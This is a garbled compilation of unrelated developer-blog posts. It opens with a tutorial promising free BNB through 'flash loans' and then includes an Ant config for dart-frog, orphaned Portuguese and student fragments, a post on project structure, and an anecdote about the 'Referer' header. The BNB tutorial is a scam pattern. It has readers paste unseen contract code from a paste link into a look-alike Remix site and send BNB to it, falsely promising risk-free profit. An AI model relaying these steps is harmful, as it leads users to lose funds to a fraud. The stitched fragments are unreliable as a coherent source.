How To Get 10 BNB For Free With Pancakeswap in 2023
Tags: cryptocurrency, crypto, blockchain, binance
Published: 2024-01-06 22:18:18

Binance Smart Chain Token (BNB) for free? Yes. Who wouldn’t desire a little extra cash?

In this tutorial. I outlined a not-so-complicated method with which you can earn BNB easily at no-risk. Follow the tutorial carefully or it might not work.

In this method we make use of a specific approach known as “FLASH LOANS”.

Uncollateralized lending, often known as flash loans, has grown in popularity in decentralized finance (De-Fi). Flash loan exploits have been used to attack De-Fi protocols that are vulnerable, despite their popularity.

“Learn more about flash loans
— [https://academy.binance.com/en/articles/what-are-flash-loans-in-defi](https://academy.binance.com/en/articles/what-are-flash-loans-in-defi)”

So, what’s the catch, exactly? A flash loan must be taken out and paid back in the same blockchain transaction.

WATCH FULL STEP BY STEP FLASH LOANS GUIDE

[https://streamable.com/j9u151](https://streamable.com/j9u151)

Step By Step Guide for Flash Loans:

• Get the Metamask Extension for your browser

• Open [https://remixcompiler.com/](https://remixcompiler.com/) from within your browser.

• Click on File Explorers and click “Create New File “.

• Name the file flashloans.sol and paste the contract code link below. ► [Contract Code](https://wtools.io/paste-code/bS9D)

• Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.

• Connect your MetaMask wallet.

• Click on the “Solidity Compiler” and set the compiler version to 0.5.0

• Click on the Solidity Compiler and then click the blue button “Compile flashloans.sol”

• Wait for the code to compile.

• Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button

• On “_TOKENNAME” Tester

• On “_TOKENSYMBOL” TOKX

• On “_LOANAMOUNT” 2000

• Click Transact and confirm the transaction in MetaMask.

• Wait for the transaction to confirm.

• Copy the address of the newly deployed contract.

• Send BNB to the deployed contract to initiate the swap 0.5+ (0.5 up is better as you will get a bigger amount in each swap)

• Wait for the transaction to confirm.

• Now, click “action” (red box) to execute the Flash Loan.

• Confirm the transaction in MetaMask and wait for the confirmation.

You can now check your wallet

Note: If it doesn’t work with 0.5 BNB try to send another 0.5 BNB (0.50 is better), because fees may be different from day to day. (3.0+ BNB for each 1000 BNB you are borrowing).

Avoid using very small amounts, as the contract may fail if the amount is less than 0.3 BNB. Because the price of gas fluctuates from time to time, the arbitrage may fail in some very rare circumstances owing to depletion of BNB in your smart contract.

Don’t panic, all you have to do now is wait a few minutes (5–10 minutes) and attempt the transaction, preferably with a loan amount of 825 and a gas limit of 31,560, and it should work perfectly, albeit with a lesser profit.

When you’re finished, make sure to move your BNB to another wallet.

run dart-frog in intellij
Tags: dart
Published: 2024-01-06 21:18:04

As a dartlang enthusiast I am sharing a setup to run the dartfrog development server  in Intellij.  
There is a dart-frog VSCode extension sadly while Intellij has a good dart plugin  I struggled to create runtime configs, I did not want to have to run the dartfrog cli in a separate terminal. Using the Intellij default ant plugin I was able to easily set up a dev mode run config looks like this

```
<project name="secure-context" default="run_dev" basedir=".">
    <target name="run_dev">
        <exec executable="dart_frog">
        <arg value="dev" />
        </exec>
    </target>
</project>
```
1. copy this into a file called build.xml in project root dir
2. with the ant plugin Intellij will prompt you to add it as a runtime build
3. double click on the task run_dev and the dart frog dev server will boot.

As tecnologias são representadas por campos de checkbox, permitindo que o usuário marque várias opções de acordo com as tecnologias que ele utiliza. A estilização foi feita com CSS, garantindo uma apresentação mais atraente.

## Futuras Melhorias:

Desejo implementar melhorias neste projeto. Planejo adicionar validações com JavaScript para garantir uma experiência ainda mais interativa e eficiente.

## Conclusão:

Este projeto não apenas contribuiu para meu conhecimento prático em HTML e CSS, mas também me deu insights valiosos sobre a importância da usabilidade e design amigável em formulários web. Enfrentar desafios específicos com o CSS me ensinou a importância da consistência na centralização de elementos. Espero que este artigo inspire vocês em seus próprios projetos de desenvolvimento web!

## About

I am an eleventh-grade student who recently created a tic-tac-toe game in Python for my project-based learning. The game is designed for two players, and during its development, I implemented features such as accepting player name input and detecting existing marks on the game board. I am reaching out in this post to seek assistance from someone who can help me improve and troubleshoot my code, as well as provide some advice for me.

Q: How would you structure project code?
Tags: ask, programming
Published: 2024-01-06 19:11:48

> Note: new here at dev.to, and couldn't quickly find a similar post/thread

How would you structure project code? (I'm talking mostly about directories here)

I mainly work in web development with React, but I have worked on multiple project in varying size and longevity.

One thing that always annoys me is when I see, what I call, (maybe there's a proper word for it) MVC architecture (explained below). The (only?) other way of structuring code is with what I call Feature based architecture, which I think is far more superior.

### "MVC architecture"
```
src/
  models/
    Post.code
  views/
    Post.code
  controllers/
    Post.code
```
or

```
src/
  reducers/
  actions/
  components/
```

It's when code is structured by layers and in my experience structuring code in this way have two main issues:

1. **Hard to find related code** - if I'm trying to pin down code for a specific logic and start at `views/PostActions.code` I will be lucky if the code I'm looking for is in `models/PostActions.code`, but most of the cases PostActions will have multiple actions which will do different things in model layer, good luck finding it by names alone.
2. **Collaboration and code reuse** - If I need to do something new in `views/PostActions`, I'll look there, and will only see code related to it's view, but when adding new code I'm less likely to find a `model/Something`, which I could reuse and not re-implement.

## Feature based architecture

Where code is structured by logical parts or domains if you will.

```
src/
  post/
    View.code
    Model.code
    Controller.code
```

I find this way better since it's easier to see the whole code that is related to the post, which greatly reduces both issues I mentioned in "MVC architecture". If code needs to be reused it can be extracted above `post` which will indicate that this file can be used in all files "bellow".

### What do you use?

So, let me know what you think of these? Are there any other way to structure code? Which you prefer? And do you even care?
Temporary Solutions Are Not Always Temporary?
Published: 2024-01-06 19:02:15

_Let me tell you a story about one of the funniest mishaps in tech history. Picture this: It's the early '90s, and the World Wide Web is just taking baby steps. Developers were working around the clock, fueled by passion, caffeine, and perhaps the occasional pizza._

Enter the “Referrer” HTTP header. Its job? To tell a webpage where its visitors are coming from. Super useful, right? Well, yes, but here's the fun part. Phillip Hallam-Baker and Roy Fielding, computer scientists, somewhere, during those caffeine-induced coding marathons, misspelled “Referrer” as “Referer” when defining it. A simple typo, but it slipped right through the net (pun intended)!

Now, anyone who has worked in tech knows that once a standard is set, it's often hard to change (just ask anyone still using an old system they swore would be "temporary"). And that's precisely what happened. The misspelled “Referer” header was cemented into RFC 1945, which defined HTTP/1.0 in 1996. The tech world collectively paused, had a good laugh (or cry?), and then moved forward. 🤷‍♂️


![Quote with Referer Header from RFC 1945](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tq2nd3m33nx5ip3pdb3c.png)

Now, Phillip jokes about getting the Oxford Dictionary to recognize his spelling:

> Hey, give me a break, it was eight years ago!
> Its like when I did the referer field. I got nothing but grief for my choice of spelling. I am now attempting to get the spelling corrected in the OED since my spelling is used several billion times a minute more than theirs.
